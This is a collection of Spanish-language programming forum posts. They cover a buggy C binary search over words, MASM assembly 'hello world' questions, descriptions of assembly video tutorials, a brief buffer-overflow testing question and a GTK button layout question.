EDITO: Me estoy fijando en codigos y parece que esta automatizado, que libreria es la que hay que usar?

A ver si me podeis echar una mano porque me stoy volviendo loco con esto xD, es respecto a una busqueda binaria pero con palabras. Os dejo el codigo a ver si veis algo, o algun consejo de como hacerlo. Thanks

Código (c) [Seleccionar] Expandir

#include <stdio.h>
#include <string.h>

int main()
{
char palabra[20][20];
char busqueda[20]="";
char palabra_aux[20];
int i, k, h, primero=0, ultimo=19, centro=10;
for(i=0;i<20;i++){
          strcpy(palabra[i],"");
   }// limpia el array
   for(i=0;i<5;i++){
         printf ("Introduce una palabra:");
       scanf ("%s", &palabra[i]);                  
   }// coge 5 palabras por teclado

   for(k=19;k>=0;k--)
   {
for(h=0;h<k;h++)
{
if((strcmp(palabra[h],palabra[h+1])>0) && (strcmp(palabra[h+1],"")!=0))
{
                       strcpy(palabra_aux,palabra[h]);
strcpy(palabra[h],palabra[h+1]);
strcpy(palabra[h+1],palabra_aux);
}
}

   }//ordena la lista
   
i=0;
while(i<5)
   {
         printf ("Introduce una palabra para ver si se encuentra en la lista: ");
         scanf ("%s", &busqueda);
             primero=0;ultimo=19;
         while ((primero<=ultimo) && (strcmp(busqueda,palabra[centro])!=0))
         {
                   centro=(primero+ultimo)/2;        
                   if (strcmp(busqueda,palabra[centro])<0){primero=centro+1;}
           if (strcmp(busqueda,palabra[centro])>0){ultimo=centro-1;}
           printf("centro vale %d\n", centro);
             }// busca en la lista
         if (strcmp(busqueda,palabra[centro])==0) {printf ("La palabra se encuentra en la lista :)\n");}
         else {printf ("La palabra no se encuentra en la lista :(\n");}
             i++;
   }// lo busca en 5 ocasiones
getchar();

return 0;
}



EDITO: Solucionado por fin, el array tiene que estar lleno o la busqueda al menos llena

Descarga en pdf: http://www.megaupload.com/?d=LI7KBQ4Z

Mirror: http://www.gigasize.com/get.php?d=qy7co2s6x3b

[del codigo]

Cual es la diferencia del codigo de 16 bits con el de 32 bits? Este codigo que presento ya lo he intentao sacar varias veces y no me sale de ninguna manera, por lo que me dicen lo declaro con 32 bits (cabecera) pero el codigo es de 16 bits, me podeis echar una mano para hacerlo en 32 bits? con esto hecho ya puedo coger la idea y seguir ampliando. Saludos

Código (asm) [Seleccionar] Expandir

.386                             
.model flat, stdcall 
option casemap :none
;32 bits

.stack

.data

saludo   db "Hola mundo!!!$"

.code

start:

mov   ax, data
mov   ds, ax           
mov   ah, 09         
lea   dx, saludo 
int   21h               
;mensaje en pantalla

mov   ah, 4ch           
int   21h               
;termina programa

end start


A ver si me podeis echar una mano, que falla aqui en la linea 

Código (asm) [Seleccionar] Expandir

mov   ax, data

Código (asm) [Seleccionar] Expandir

.486                                    ; create 32 bit code
.model flat, stdcall 

.stack

.data

saludo   db "Hola mundo!!!", "$"

.code

inicio:

mov   ax, data          ;<----------fallo
mov   ds, ax             ;ds = ax = saludo
mov   ah, 09             ;Function(print string)
lea   dx, offset saludo  ;DX = String terminated by "$"
int   21h                ;Interruptions DOS Functions
;mensaje en pantalla

mov   ax, 4c00h          ;Function (Quit with exit code (EXIT))
int   21h                ;Interruption DOS Functions

end inicio

[Videotutorial 1. Lenguaje Ensamblador.]

Os dejo estos videotutoriales de lenguaje ensamblador 

Videotutorial 1. Lenguaje Ensamblador.

Damos inicio a este curso el cual esta enfocado a la Programacion en Lenguaje Ensamblador, y empezamos con una introduccion, en la cual se definiran conceptos muy basicos pero muy importantes para aprender a programar en este lenguaje.

Videotutorial 2. Lenguaje Ensamblador.

Videotutorial No. 2 del curso de Programacion en Lenguaje Ensamblador. Empezamos a ver mas a fondo la Arquitectura interna del microprocesador, y definimos detalles importantes que se deben saber antes de programar y porque programar determinado procesador.


Videotutorial 3. Lenguaje Ensamblador.

Videotutorial No. 3 del curso de Programacion en Lenguaje Ensamblador. Ultimo Video en el cual se trata teoria e introduccion. El tema a tratar son los registros del Microprocesador, ya que estos son muy importatantes para la programacion con el ensamblador. Estos registros son los que por medio del lenjuaje ensambldor nos van a permitir manipular (dar ordenes), al microprocesador. Cabe destacar que este curso tambien lo podras orientar, a la programacion de microcontroladores, ya que estos tambien utilizan registros para ser programados.


Videotutorial 4. Lenguaje Ensamblador.

Videotutorial No. 4 del curso de Programacion en Lenguaje Ensamblador, en el que se trataran los siguientes temas: Manejo de memoria en Ensamblador, Modos de direccionamiento, La instruccion MOV, Instalacion de los programas (Masm ', 'Videotutorial No. 4 del curso de Programacion en Lenguaje Ensamblador, en el que se trataran los siguientes temas: Manejo de memoria en Ensamblador, Modos de direccionamiento, La instruccion MOV, Instalacion de los programas (Masm 'Tasm).


Videotutorial 5. Lenguaje Ensamblador.

En este VideoTutorial de Ensamblador numero 5, conoceremos mas a fondo las interrupciones, ya que es indispensable saber para que sirven cada una de ellas, conocer cada uno de sus elementos por los cuales estan conformadas y saber como emplearlas en el lenguaje ensamblador.
Ademas que haremos unos ejercicios, en los cuales aplicaremos dichas Interrupciones. En este Video repasaremos la maquetacion de un programa en ensamblador y lo explico de una forma mas detallada.
Crearemos nuestras funciones, para posicionar en un lugar determinado un texto, ya intecractuaremos con el usuario.
Apartir de este videotutorial ya podras emplear tus conocimientos para comprender el ensamblador para la programacion de microcontroladores.
(Ojo ) Emplearlo como analisis y comprender la logica, no para programar a un microcontrolador ya que para eso necesitas conocimientos mas avanzados con respecto a conocer mas afondo la arquitectura del mismo. Si Dios me lo permite en este curso se abarcara la programacion de Microcontroladores Pic.

Videotutorial 6. Programacion en Ensamblador.

Videotutorial numero 6 del curso de programacion en Lenguaje Ensamblador, donde trabajaremos con Etiquetas, veremos el manejo y las reglas de implementacion de las mismas. Ademas conoceremos algunas instrucciones de salto, estos se complementan con lo mencionado anteriormente es decir con las etiquetas, ya que trabajan a la par. Se vera tambien algunas intrucciones de salto condicional, parecidas a las estructuras condicionales del Lenguaje C, como lo son If - Else, leeremos datos introducidos por el usurio atravez del teclado, y realizaremos comparaciones con instrucciones que nos provee este lenguaje. Simularemos un ciclo While con las herramientas mencionadas anteriormente.

Videotutorial 7. Programacion en Ensamblador.

Videotutorial 7. del curso en Programacion en Ensamblador. Seguimos trabajando con la implementacion de etiquetas, las instrucciones de compracion, instrucciones de salto incondicional y las instrucciones de salto condicional como lo son JA, JB, del ensamblador, y vemos como trabajan al igual que las sentencias de condicion del lenguaje C, como las instrucciones if - else. Todo en cojunto nos ayuda a relizar un programa en el cual se le pide al usuaio que introduzca 2 valores desde el teclado y este programa nos dira cual es el valor mayor, menor o si son iguales. Este ejemeplo esta realizado en el compilador TASM version 5, pero pueden tambien pueden emplearlo en el compilador MASM.


Descarga: http://www.gigasize.com/get.php?d=ryn6j5kgn5c

Fuente: Edgar Iván Justo Dominguez  "Egher"

Buenas, para testear un buffer overflow simplemente con un sock_stream (tcp) se puede hacer? especificando ip y puerto? o hay que detallar a parte el protocolo?

Queria preguntar como alinear los botones con gtk, estoy leyendo sobre las sintaxis pero en ejemplo real no logro sacarlo

Código [Seleccionar] Expandir

#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <config.h>
#include <gtk/gtk.h>

int main (int argc, char *argv[])
{
GtkWidget *window;
GtkWidget *button;
GtkWidget *box;

gtk_init (&argc, &argv);

button = gtk_button_new_with_label ("Ejecutar");
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
box = gtk_hbox_new(TRUE, 0);
gtk_window_set_title (GTK_WINDOW (window), "Mi primer programa");
gtk_container_border_width (GTK_CONTAINER (window), 200);
gtk_container_add (GTK_CONTAINER (window), button);
gtk_container_border_width (GTK_CONTAINER (button), 10);
gtk_box_pack_start (GTK_BOX (box), button, TRUE, FALSE, 0);
gtk_widget_show (window);
gtk_widget_show (button);

gtk_main ();
return 0;
}